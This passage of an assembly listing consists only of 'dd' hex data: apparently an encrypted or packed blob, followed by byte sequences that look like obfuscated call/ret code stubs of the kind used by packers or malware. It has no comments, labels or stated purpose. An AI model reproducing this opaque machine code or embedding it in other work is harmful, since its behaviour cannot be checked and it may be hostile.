		dd 79C2A5B2h, 85E656B4h, 86C8CE86h, 47732740h, 1A44B993h
		dd 620897C4h, 86C22DE1h, 0D3B3DF04h, 5DC556D8h,	0B0D1356h
		dd 80BE7F05h, 0F37FAE46h, 79C42429h, 0D1C24DC0h, 86C224E0h
		dd 459D0704h, 0A2BEAE5Dh, 0A286A605h, 86C23C84h, 45956040h
		dd 0A7252139h, 0CAB94E1Bh, 0A6FFA281h, 0CD2107h, 86C22701h
		dd 0BE1CA81h, 85DD2205h, 0D4C24D46h, 86C224C8h,	45980710h
		dd 0A296AE52h, 0A286A600h, 86C23E06h, 45906501h, 2BB895D7h
		dd 34B0627h, 80C13AD9h,	6E92277Ah, 86C2270Bh, 0DE017F24h
		dd 82E6638Bh, 82E66380h, 86C2279Bh, 84017700h, 0CAA2CA75h
		dd 6FD6BE19h, 86C2271Ah, 0B497BEFCh, 9EFF3E30h,	4C0EE661h
		dd 0D9709DF8h, 3048280h, 80C13C81h, 0D1C24D43h,	86C224E0h
		dd 459D0704h, 0A2BEAE5Dh, 0A286A605h, 86C23184h, 45956040h
		dd 0D17038Bh, 85E48AA5h, 7449410Eh, 0C993986Ch,	8A4128D7h
		dd 89C22701h, 86C2210Bh, 864E2840h, 7C22720h, 9FA50324h
		dd 86A80EF6h, 86C1CF51h, 0DBE22702h, 0EA4B7AC2h, 0C24323A4h
		dd 86DB2364h, 0D3872720h, 5254DBD3h, 6FECCEBAh,	86C2270Ah
		dd 0AC67EB2h, 1CE55815h, 4D88C814h, 0D47B3ED6h,	79F2466Dh
		dd 85E656A5h, 0D3C24D0Eh, 86C224ECh, 459F0702h,	0A2AEAE5Ch
		dd 0A286A684h, 86C23E44h, 45976220h, 8CD31D6Fh,	922AF7CDh
		dd 61C22704h, 0B671B4D2h, 0B15AEFA0h, 0AA2A3E17h, 0BA6F265Dh
		dd 0E697462Eh, 0B4BF09Bh, 80C10BE9h, 34F7865h, 80C45B5Ah
		dd 6E97276Bh, 86C22783h, 0DB017A60h, 82E64BA9h,	82E66391h
		dd 86C22714h, 77017241h, 0B66C6C5Bh, 1F64A6D3h,	7909908Fh
		dd 0D7C24D90h, 86C224C8h, 459B0710h, 0A28EAE51h, 0A286A600h
		dd 86C23C06h, 45936601h, 304C6ACEh, 0E624A652h,	34B9B96h
		dd 80C104B5h, 6E902762h, 86C22707h, 0DC017D22h,	82E67388h
		dd 82E66301h, 86C2275Ch, 2017562h, 669A1B87h, 7477D5D8h
		dd 2747E1FDh, 0D5C42419h, 6E91276Bh, 86C22783h,	0DD017C60h
		dd 82E67BA9h, 82E66391h, 86C2271Dh, 99017447h, 57752801h
		dd 845A3BFh, 8E0C4FBDh,	3CA4E8FBh, 824350F1h, 0DB79C234h
		dd 3B57AE00h, 79C4241Bh, 85E656B7h, 7F4FAC07h, 0BC42483h
		dd 80BE7FC5h, 0D0C24D26h, 86C224F8h, 459C0708h,	0A2B6AE5Ah
		dd 0A286A606h, 86C23B05h, 45946180h, 630BF123h,	0E051F209h
		dd 844528FCh, 0D5C22708h, 0E612D85Dh, 0D14AC64h, 85ED2A8Ch
		dd 34B4686h, 80C10D35h,	6E90274Ah, 86C22713h, 0DC017D28h
		dd 82E6738Dh, 82E66383h, 86C2271Dh, 930175C2h, 3A215D30h
		dd 1F120AF7h, 0DA4AEE91h, 3042D3Ch, 80C13CA5h, 0D0C24D45h
		dd 86C224E9h, 459C0780h, 0A2B6AE1Eh, 0A286A624h, 86C23D14h
		dd 45946108h, 1A96053Dh, 0E649EA40h, 8DE7A288h,	3B492183h
		dd 80C10BF9h, 277D4F41h, 39918D49h, 0AFE7D631h,	0A2F6A65Bh
		dd 9B455B14h, 6E95276Bh, 86C22783h, 0D9017860h,	82E65BA9h
		dd 82E66391h, 86C22713h, 5C017043h, 0B319BA55h,	0E056521Eh
		dd 7914C53Ah, 85E656F5h, 0D7C24D26h, 86C224F8h,	459B0708h
		dd 0A28EAE5Dh, 0A286A606h, 86C23F05h, 45936680h, 7AD67C4Dh
		dd 804B2859h, 0FC22710h, 85CCB69Dh, 0DE47AA02h,	0FC4217Eh
		dd 85EEC694h, 0D12D886h, 85E8F2F5h, 1B47AE26h, 0ECC4241Ah
		dd 852A7608h, 0A6C22704h, 0F9BE45Bh, 7C6034Dh, 9DC603C4h
		dd 0C7C22740h, 1FD8E471h, 23E90697h, 39A41AD3h,	304F70Ah
		dd 80C13CA3h, 5BD79846h, 0ACAA13ECh, 0E097D6C0h, 8243F6ABh
		dd 6C527734h, 51434123h, 7A4FA09h, 79170FD0h, 85E656B4h
		dd 4C7D2886h, 831B926Bh, 34F2123h, 80C45B48h, 86C22CE1h
		dd 0B7004504h, 0C87CF0B5h, 4EF03C8Bh, 33E1F77Fh, 80C10745h
		dd 8EA3A2A9h, 86A82113h, 86C1CF5Fh, 0D9E22704h,	0FA4B78C1h
		dd 0C2432325h, 86D423A4h
		dd 0D1852740h, 0FFE75CE3h, 9CDBF691h, 3045486h,	80C13CA5h
		dd 0D0C24D45h, 86C224E9h, 459C0780h, 0A2B6AE1Eh, 0A286A624h
		dd 86C23114h, 45946108h, 7E938F88h, 9D8B9A89h, 134B2102h
		dd 80C10399h, 86C223A8h, 4BFE7A20h, 0FC7841BAh,	3CA4776Ch
		dd 0C249618Eh, 0DA42326h, 6FC2ACD6h, 86C2278Dh,	0AC475882h
		dd 0FCD29505h, 0ECBABD93h, 0A286AE19h, 93422800h, 6EC22702h
		dd 86C22708h, 6C6427C4h, 1FD2804Eh, 8990779Dh, 0DF9A7D21h
		dd 0D1C24D50h, 86C224ECh, 459D0702h, 0A2BEAE5Eh, 0A286A684h
		dd 86C23D44h, 45956020h, 3A3964B9h, 0AF4A0F07h,	85CBAE81h
		dd 33497504h, 80C12F90h, 0F777D8DEh, 0ECC42464h, 852A7120h
		dd 0A6C22710h, 0F9CE456h, 7C60370h, 92C60346h, 0C0C22701h
		dd 6E28E4D6h, 86C2274Eh, 54936C1Ah, 3B3BEAA8h, 0D1CD1642h
		dd 6443D4FCh, 9B5AA0DDh, 0DE47AA58h, 79C421FCh,	0D3C24D90h
		dd 86C224C8h, 459F0710h, 0A2AEAE55h, 0A286A600h, 86C23A06h
		dd 45976201h, 2A619E02h, 8A1F19h, 3B49C9B6h, 80C104E1h
		dd 0A05FA281h, 86A82107h, 86C1CF52h, 0DEE22701h, 0C24B7F43h
		dd 0C2432364h, 86D62304h, 0D6822710h, 1B4B86CBh, 80C12FDDh
		dd 8E2BF7FDh, 0ECC22701h, 319213AAh, 0FC50AECh,	85DDAEA5h
		dd 0AA4DF16h, 0AB7FACD0h, 0A2C42428h, 86C5CE06h, 0B6042701h
		dd 0A6096BBAh, 89022D53h, 86C137A4h, 0D5C24D10h, 86C224E0h
		dd 45990704h, 0A29EAE59h, 0A286A605h, 86C23084h, 45916440h
		dd 91E8B8ADh, 86C236F9h, 10F85508h, 6785CF2Eh, 134439Ch
		dd 2E0FC6F5h, 3048CA8h,	80C13CE1h, 0D1C24D6Fh, 86C224F8h
		dd 459D0708h, 0A2BEAE5Bh, 0A286A606h, 86C23305h, 45956080h
		dd 4C494103h, 0F0FB3748h, 0A2F6A6F2h, 0DB3472DCh, 7E229D62h
		dd 0A2B392FDh, 86A82102h, 86C1CFD2h, 0DCE22740h, 0D24B7DE3h
		dd 0C2432334h, 86D4232Ch, 0D4802704h, 3EE52AC1h, 0B96FD81h
		dd 80BE7F05h, 0D3C24D46h, 86C224C8h, 459F0710h,	0A2AEAE55h
		dd 0A286A600h, 86C23D06h, 45976201h, 6DED418h, 0D6251E11h
		dd 0A06B9A09h, 799B2113h, 0D1C24DD8h, 86C224ECh, 459D0702h
		dd 0A2BEAE5Eh, 0A286A684h, 86C23B44h, 45956020h, 0E5D7FCADh
		dd 359EEBDBh, 0A202A4CFh, 6E942768h, 86C22702h,	0D80179A0h
		dd 82E653C9h, 82E663A1h, 86C22708h, 0CA01714Eh,	0D481EDDDh
		dd 8F97AA03h, 56482102h, 0A8B3A209h, 13C92143h,	80C13C09h
		dd 994BA29Bh, 4D49210Bh, 0A05FBA8Fh, 86A82101h,	86C1CF56h
		dd 0D9E22780h, 0FA4B7883h, 0C2432304h, 86DA2334h, 0D1852708h
		dd 0C3F347C7h, 882BB901h, 35C22701h, 921A8046h,	0F8901A1Bh
		dd 0C8C45904h, 0B496432h, 80C131A5h, 86C1A60Bh,	39CD2702h
		dd 0ECD9ACCFh, 852A7580h, 0A6C22740h, 0F98E47Ah, 7C60344h
		dd 9EC6034Ch, 0C4C22704h, 0A129E450h, 0E005D7F7h, 4148E001h
		dd 3C33CCBh, 80C13419h,	7A43C9Bh, 0B5C122E1h, 0D1C24DDCh
		dd 86C224EAh, 459D0701h, 0A2BEAEDFh, 0A286A644h, 86C23224h
		dd 45956010h, 1B4BC804h, 80C13D5Dh, 4030900Dh, 85D98684h
		dd 86A86086h, 86C1CF13h, 0DDE22720h, 0DA4B7CD3h, 0C243232Ch
		dd 86DA2320h, 0D5812702h, 58475CC2h, 50430D5Fh,	0F30F40E9h
		dd 2D52F548h, 844A2877h, 33C22708h, 0A2C6A67Ah,	0D6F16BD5h
		dd 92AF9A8Ah, 333D2183h, 80C10331h, 904FA2A9h, 0B4B2113h
		dd 80C13EF5h, 0FA9AA289h, 0DA42104h, 0EC12D8CBh, 852A7280h
		dd 0A6C22740h, 0F9FE47Dh, 7C6037Ch, 9CC6034Ch, 0C3C22704h
		dd 5BFAE457h, 871C48BEh, 0ACD4768h, 86C2274Fh, 86C22DC9h
		dd 0D136EA10h, 0BA42F60Fh, 0DAE5897h, 85CCFEBFh, 0E6A24607h
		dd 86C2A78Fh, 3492740h,	80C12D7Dh, 74494171h, 1B47AE69h
		dd 0DC4240Eh, 85ECC697h, 86A86707h, 86C1CFD5h, 0DBE22740h
		dd 0EA4B7AE3h, 0C2432334h, 86D9232Ch, 0D3872704h, 6D2EDBC1h
		dd 0A7B2053Ch, 86D6CE3Eh, 0C7872740h, 4CEE780Eh, 0ACBD46C8h
		dd 95E0B97Fh, 0AAC979F3h, 86494BD4h, 9DEB9A8Ah,	86492183h
		dd 6E91272Ah, 86C22723h, 0DD017C30h, 82E67B81h,	82E66385h
		dd 86C2271Bh, 0A7017442h, 6D1D82E7h, 2F77AE86h,	0FC42437h
		dd 85DDB695h, 6F12AC0Eh, 86C227E3h, 987D41FBh, 9B47AAB5h
		dd 0ECC42127h, 852A7040h, 0A6C22720h, 0F9DE44Fh, 7C60374h
		dd 9DC60340h, 0C1C22702h, 618AE456h, 4E159603h,	3349B7BEh
		dd 80C12849h, 86C221F8h, 8CB9D808h, 0E0D15593h,	0DCD5F2B8h
		dd 0D636AD91h, 714975D0h, 0DE98164Fh, 0D7C24DB0h, 86C224F8h
		dd 459B0708h, 0A28EAE5Dh, 0A286A606h, 86C23B05h, 45936680h
		dd 21413AA6h, 0BA0E94EFh, 2A25A62Fh, 79F9450Bh,	85E06A91h
		dd 8E402804h, 89C22701h, 86C22506h, 0B429640h, 806504BDh
		dd 1F572416h, 0D6C42412h, 0ECE63B8Dh, 852A7502h, 0A6C22701h
		dd 0F98E4DAh, 7C60314h,	9CC60364h, 0C4C22710h, 6EB0E45Ah
		dd 0B250953Bh, 1757AC5Ah, 0D6C4241Dh, 824B0332h, 793CAC64h
		dd 85ECAEB5h, 974FAC16h, 0FC42401h, 85EC5681h, 6B4FAC04h
		dd 40C4242Ch, 85D98605h, 0F6707446h, 8DBA9E48h,	89907750h
		dd 86C23485h, 86CFCF04h, 18CE2702h, 9287DF28h, 6C4C1EB6h
		dd 0DC692966h, 0D492162Fh, 8664E8AEh, 0DCF32856h, 79A7D5Ch
		dd 8D040306h, 86A84D7Dh, 86C1CFD6h, 0D8E22740h,	0F24B79E3h
		dd 0C2432334h, 86D5232Ch, 0D0842704h, 0D5727C1h, 2A809823h
		dd 333D714Eh, 80C10331h, 6E90274Ah, 86C22713h, 0DC017D28h
		dd 82E6738Dh, 82E66383h, 86C22718h, 740175C2h, 6C73CB42h
		dd 13570C7Fh, 0BC42439h, 80BE7F8Dh, 0D1C24D02h,	86C224EAh
		dd 459D0701h, 0A2BEAEDFh, 0A286A644h, 86C23124h, 45956010h
		dd 79041AEFh, 514341D4h, 34B4A4Eh, 80C12BFCh, 6E9527EAh
		dd 86C22743h, 0D9017800h, 82E65B99h, 82E66389h,	86C22711h
		dd 9A017045h, 4015AC95h, 85D98605h, 86A86046h, 86C1CF77h
		dd 0D9E22710h, 0FA4B78CBh, 0C2432320h, 86D82326h, 0D1852701h
		dd 0E0187F43h, 9A554385h, 86C1AC2Fh, 39CD2710h,	0EABA4FF3h
		dd 0B243B157h, 0A7BBCF26h, 0D1C24D36h, 86C22468h, 459D0740h
		dd 0A2BEAE7Fh, 0A286A614h, 86C23F0Ch, 45956004h, 0E5F8462Fh
		dd 0F777D8CFh, 0BC424A4h, 80BE7FC5h, 0D6C24D26h, 86C224F8h
		dd 459A0708h, 0A286AE5Ch, 0A286A606h, 86C23205h, 45926780h
		dd 563D506Ah, 6E97274Ah, 86C22713h, 0DB017A28h,	82E64B8Dh
		dd 82E66383h, 86C22718h, 770172C5h, 3CDA5094h, 8E4728F2h
		dd 0D6C22710h, 0A05BAA83h, 0F9B2107h, 85E66E87h, 93462807h
		dd 6EC22780h, 86C2274Ch, 0E3FE5556h, 6656426Dh,	0A23B05B4h
		dd 0DC98E284h, 9D63A2C4h, 0EC912102h, 852A7180h, 0A6C22740h
		dd 0F9CE47Eh, 7C60364h,	9AC6034Ch, 0C0C22704h, 0DC3AE454h
		dd 0FFC83A56h, 0E05F5F43h, 0EEA773FEh, 0AD0B0DD4h, 1AE62391h
		dd 0ECAF573Ch, 852A7704h, 0A6C22702h, 0F9AE459h, 7C603C4h
		dd 9CC60304h, 0C6C22720h, 6A64E440h, 99A3DFDDh,	7D752885h
		dd 86C234EAh, 0BA8BE901h, 43D6258Ah, 0D069C13Ah, 0D25BEE72h
		dd 0F1A0FADDh, 8A439281h, 799B2107h, 85E656B7h,	7B4FAC07h
		dd 0BC424A1h, 80BE7FC5h, 0D6C24D26h, 86C224F8h,	459A0708h
		dd 0A286AE5Ch, 0A286A606h, 86C23D05h, 45926780h, 93623CD0h
		dd 0AD71CC3Ah, 85C54AADh, 7930AC0Eh, 0D3C24DD4h, 86C224EAh
		dd 459F0701h, 0A2AEAEDDh
		dd 0A286A644h, 86C23124h, 45976210h, 0DB7018Bh,	85E0F2B9h
		dd 9B47AE04h, 0DC42416h, 85EFBE3Dh, 2747E146h, 0D1C4243Bh
		dd 6E95277Ah, 86C2270Bh, 0D9017824h, 82E65B8Bh,	82E66380h
		dd 86C22795h, 0D2017007h, 2B544FDFh, 0E0A20043h, 0E7E5ECB2h
		dd 0F6E62385h, 0ECAA97A6h, 852A7401h, 0A6C22780h, 0F99E41Bh
		dd 7C6037Ch, 9EC60354h,	0C5C22708h, 47E0E457h, 795DD7BCh
		dd 85E656B4h, 0E7771686h, 0BC42463h, 80BE7FA5h,	0D1C24D16h
		dd 86C224E0h, 459D0704h, 0A2BEAE5Dh, 0A286A605h, 86C23E84h
		dd 45956040h, 0E6C14DFh, 563D71D4h, 6E972762h, 86C22707h
		dd 0DB017A22h, 82E64B88h, 82E66301h, 86C22758h,	0D3017265h
		dd 0B3DED17Bh, 8BCF9A83h, 6CD2107h, 86C22703h, 53472EFDh
		dd 0FC4248Eh, 85D96AC5h, 0EF4F0C26h, 40C42404h,	85D9868Dh
		dd 86A86402h, 86C1CF52h, 0DEE22701h, 0C24B7F43h, 0C2432364h
		dd 86D42304h, 0D6822710h, 7BBD8DCBh, 8B7AAB6Ch,	8990778Fh
		dd 844C2830h, 0E6C22780h, 79A7D21h, 315E0324h, 6E480892h
		dd 0A2B392F7h, 13E92107h, 80C125C3h, 86C22EE8h,	9E37EF80h
		dd 487A6AE8h, 34F6433h,	80C45B48h, 6E902762h, 86C22707h
		dd 0DC017D22h, 82E67388h, 82E66301h, 86C22758h,	8017562h
		dd 63B781A5h, 9A25A66Eh, 0D12D852h, 0BB47AEFCh,	0ECC42419h
		dd 852A7780h, 0A6C22740h, 0F9AE478h, 7C60354h, 9BC6034Ch
		dd 0C6C22704h, 0EB36E452h, 0A3E55719h, 28458EDh, 9E0792CBh
		dd 34F2123h, 80C48003h,	8A9F9A09h, 0D7922107h, 0D2F79E64h
		dd 0A2C6AE5Eh, 0CB57D879h, 0FC42462h, 85C576A5h, 891AAC16h
		dd 86C22688h, 34FDE04h,	80C48005h, 6E97276Bh, 86C22783h
		dd 0DB017A60h, 82E64BA9h, 82E66391h, 86C22715h,	0EB017241h
		dd 684FA143h, 48421498h, 4CD472Bh, 86C22746h, 9B9BBA03h
		dd 134B2113h, 80C10D11h, 3357AC65h, 16C4241Bh, 86CACE61h
		dd 0DA202780h, 0B37E2E49h, 3D749E6Ah, 0EC527771h, 852A7108h
		dd 0A6C22704h, 0F9CE45Ch, 7C60375h, 9EC603C4h, 0C0C22740h
		dd 0FB7CE476h, 0B7AB1AA0h, 85DE4E95h, 34BD202h,	80C13FBBh
		dd 922B4792h, 1AC22780h, 8B071ECFh, 0D4DB95Ah, 0D0676B2Ch
		dd 92B426ACh, 0D63830ADh, 86CCCE50h, 0DAF32701h, 0C1C900E6h
		dd 0D91486Ah, 8E6E6370h, 8D2A161Fh, 0C4C22708h,	507288Bh
		dd 202398CDh, 0DC9A47F8h, 6F9246D8h, 86C2274Bh,	9F659AA4h
		dd 0F3105B08h, 15EA1A61h, 6E91276Eh, 86C22701h,	0DD017C21h
		dd 82E67B09h, 82E663C1h, 86C22734h, 42017453h, 890BAA81h
		dd 133D2107h, 80C1098Bh, 6E90276Bh, 86C22783h, 0DC017D60h
		dd 82E673A9h, 82E66391h, 86C22710h, 0BC017546h,	30A67924h
		dd 866BA288h, 14782183h, 41F5E75Ah, 85D4FEA5h, 86C22816h
		dd 3B570E08h, 79C4241Eh, 85C28E97h, 86C7CF07h, 93B92780h
		dd 0AF7138C3h, 85D90E9Dh, 34B7E16h, 80C13E31h, 0A3F39A8Dh
		dd 3492101h, 80C1073Ch,	3C45BA0Dh, 0C54B2146h, 837FAA21h
		dd 0BC4240Fh, 807846BDh, 86F19E02h, 22312702h, 867A14EAh
		dd 8DC22780h, 44C15380h, 0C2492738h, 6E912B34h,	86C22708h
		dd 9101A65Fh, 0FC22702h, 0FD2035Dh, 0DDD603C4h,	1C6210F8h
		dd 0D22D820h, 79C60354h, 674341E8h, 6EA38D4Eh, 86C2270Dh
		dd 369F7583h, 0B13B805Dh, 6F08F87Eh, 0DFE81776h, 21C59A9Dh
		dd 0B4F210Eh, 80C49DCFh, 0A06912BAh, 43471499h,	0ADC424A2h
		dd 842BE68Fh, 5E86A847h, 486C1CFh, 0C1D8E227h, 25F24B79h
		dd 0A4C24323h, 4086DF23h, 0F305E983h, 0E9D98BA4h, 7Ah
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A8C35747h
		dd 72B060F5h, 65D18166h, 61F86190h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 46C35545h, 0B779262Fh, 15E72A8Fh
		dd 50006AC3h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0BE95099h, 0FE000000h, 283E9696h, 28D71151h
		dd 0C08BD8A0h, 138F0Fh,	0EE90000h, 0AC000000h, 0B6CD4F7Fh
		dd 45CF6957h, 99DA2D91h, 0E5BD83C7h, 60304h, 0BD830975h
		dd 6032339h, 50197400h,	0B8C08B53h, 4B9h, 7398589h, 9D8D0603h
		dd 605B626h, 585BD3FFh,	2339BD83h, 74000603h, 0B8535017h
		dd 4B9h, 7398589h, 9D8D0603h, 605B2C7h,	585BD3FFh, 98D0Fh
		dd 66600000h, 665515BBh, 6A61C68Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 7FEEC355h
		dd 40F9C08Bh, 0BF0FC18Bh, 4EBF1h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0D13C353h, 5D94C0E8h, 135F612h, 3312DB5h, 0F0B70F06h
		dd 1309858Dh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 27530BC3h, 0B589602Eh, 60324CDh
		dd 2AB9BD89h, 90610603h, 0BE8h,	0A1AEEA00h, 0EF7C3DEh
		dd 0A1B9702Ah, 8B66505Eh, 6A90F2h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0FD3917C3h, 610D6223h
		dd 8C0F1F1Ah, 6, 0A69BD8Bh, 6A0603h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 89C35545h, 97871FB7h, 0DE99729h
		dd 18000000h, 0A4C5A6C5h, 273152EEh, 59F1B22Ch,	0FE9006Ah
		dd 0EC000000h, 0D4807909h, 0EFFDCD74h, 0B1EA8B5Dh, 858DA418h
		dd 606BE0Ch, 0B1BD89h, 0C0830603h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 8B25C0DFh
		dd 3290DBDh, 49BD8B06h,	50060303h, 0BF665250h, 310F819Dh
		dd 489585Ah, 0F830F24h,	52000000h, 8E9h, 1DA9EA00h, 0A5C5E17Ch
		dd 6A5FF5h, 9E8h, 268F0300h, 0A2EAE259h, 0FE8BCF36h, 6A006A5Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 726FC357h, 0BE9C90DBh, 0EE8130A5h, 2A21D513h
		dd 17A9BD8Bh, 95FF0603h, 6031DF9h, 99339D8Dh, 6A0606h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 1C310C3h, 414031Bh, 3DB58B59h, 8B060308h, 312DDBDh
		dd 66D3FF06h, 31C49DBEh, 32D619Dh, 185FF06h, 6A06031Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 186AC352h, 0BF0F1737h, 7C8E9F3h, 0E80000h
		dd 5D000000h, 0BE16ED81h, 6A0606h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0E45FB6C3h, 0F624793h
		dd 0BD81F9BFh, 60316D9h, 7D0h, 188860Fh, 0BE90000h, 49000000h
		dd 76041B64h, 9B68D751h, 9D8BC60Eh, 6030CB5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 22C35141h, 53849C16h
		dd 6673854Eh, 0D5FDDE81h, 100E381h, 13E90000h, 0C2000000h
		dd 15A65595h, 0F1BA0100h, 8B3D4AD1h, 866A070Ah,	858956A0h
		dd 6030909h, 850FDB0Bh,	0C5h, 6810Fh, 830F0000h, 0
		dd 0BC06BD83h, 0F000606h, 5C84h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0B74C4677h
		dd 8E988h, 0D5A20000h, 4CAE2FDEh, 850FC21Fh, 3,	0E9F8BF0Fh
		dd 87h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h
		dd 0EAC35040h, 0B531B021h, 685C7FFh, 10606BCh, 8B000000h
		dd 30D99B5h, 0CE906h, 44C20000h, 10007E16h, 98CEEF98h
		dd 40E9284Dh, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0EE68C350h,	10C829CEh
		dd 9857B90h, 32AE585h, 685C706h, 606BCh, 8B000000h, 31C41B5h
		dd 29B58B06h, 8D060313h, 30CB59Dh, 8BFB8B06h, 31629B5h
		dd 0FF238106h, 6AFFFFFEh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 14AEC355h, 0BA31EF41h
		dd 8529AC01h, 60319E1h,	0E399589h, 8C660603h, 55006ADBh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 2D858951h, 89060329h, 32ED1BDh, 4C3F606h, 99840Fh, 0BD8B0000h
		dd 6032141h, 0A995FFh, 6A0603h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 9A350CC3h, 72215CBAh
		dd 0F588A4Dh, 18Eh, 6090F800h, 9E9h, 61090400h,	0FFBA0FFEh
		dd 8D0F4D1Ah, 2, 5061CF8Bh, 7AE4BF60h, 8B0F58E9h, 3, 61CB8B66h
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0EE828D3h, 4D000000h, 6E939D1Fh,	10685611h
		dd 0BDBBD1F0h, 0DF816604h, 0E95F2E3Fh, 3E4h, 0B599D89h
		dd 0B58B0603h, 603209Dh, 6A00B0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 493E19C3h, 0E6E5D2CCh
		dd 0E9FE8B70h, 0Fh, 0CB49A7ADh,	0F12DFE8Fh, 7ED09C22h
		dd 0E4A2061Ah, 0D8B60F71h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 19C35343h, 9B38527Fh,	870F81FEh, 3, 52F78B66h
		dd 98D68166h, 6BA5E8Fh,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 31EEC357h
		dd 964EF26Bh, 8D0F3FE6h, 6, 0D9589h, 0C38B0603h, 0E8C1FB8Bh
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0C62586A9h, 0C4E7F331h, 0BB19D01h, 0F7660603h
		dd 51006AE2h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0F1807C06h, 51B53BFh, 66D82B4Dh,	388FDF81h
		dd 7E950h, 4DFB0000h, 0E290C79h, 241C8924h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0CEC35646h, 0EA90F9F6h
		dd 37C9C848h, 419D890Eh, 0FF06031Ah, 316D9B5h, 77BF6606h
		dd 0A595FF49h, 89060323h, 314D1BDh, 6A00B006h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 9CBDC356h, 7EE1A755h, 68A0Fh, 0B5290000h, 6032C2Dh
		dd 6A70E6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 8E1136C3h, 3CBF8912h, 0E45D0156h,	52006A71h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 6676CB6Ah, 3C2253BEh, 1830F61h, 89000002h, 30DFD85h
		dd 0C7816606h, 0B60F8D97h, 6BAD8h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0FDA25BC3h
		dd 6335C7DEh, 0BF4E80B3h, 776CA1E9h, 0E8C1C38Bh, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0AB210767h, 15B19589h, 0F7660603h, 57006AE2h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 0FB73503h, 48Dh, 89BF6600h, 6AD82BABh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 6178C350h
		dd 4371DE9Fh, 0AE9h, 0D574DC00h, 0D8DD1330h, 665E4E4Ah
		dd 477DE781h, 0BD8B6058h, 60306E9h, 0FD82B61h, 12788h
		dd 7D9D8900h, 0B9060308h, 7, 2E58589h, 0C1830603h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 6FCF33CEh, 0FD345D2Eh, 0ADB58BB0h, 3B06031Dh, 0E1860FD9h
		dd 29000000h, 30C6585h,	0D98C6606h, 4C1F6F5h, 0A5840Fh
		dd 0BE660000h, 0F38BEFBAh, 0A995FFh, 5E560603h,	5985895Bh
		dd 0BF060330h, 1E4496DAh, 13E8C32Bh, 99000000h,	3B49B763h
		dd 5EF2DBC4h, 6D0CFD98h, 0D125A3C0h, 0B5339796h, 6033049h
		dd 8343D5Fh, 860F0000h,	5Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 28C35747h, 820C3CCBh, 126980C4h
		dd 5FE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 921523Eh,	3299D85h, 0DE906h, 158A0000h
		dd 6D5E01BCh, 0B0B6ACAAh, 8BC4F5FCh, 57006AC0h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0F372370Dh
		dd 705CDB7Eh, 0F2B70F1Bh, 0D88BC38Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0BDC35747h,	46A9D34h, 4FC49FE7h
		dd 14E96038h, 94000000h, 0E6616122h, 2B12D040h,	462BEC3Ch
		dd 1AA9E1B8h, 61B4DD57h, 99185C7h, 75B90603h, 6A3ED4h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0B3F565C3h, 77DE8166h, 8BC08B91h, 30579B5h, 0D9BD8106h
		dd 0D0060316h, 0F000007h, 4E85h, 8DBD8B00h, 0FF06031Dh
		dd 316D985h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 4F8EC480h, 5EC4D0E2h, 8F0FD8BAh
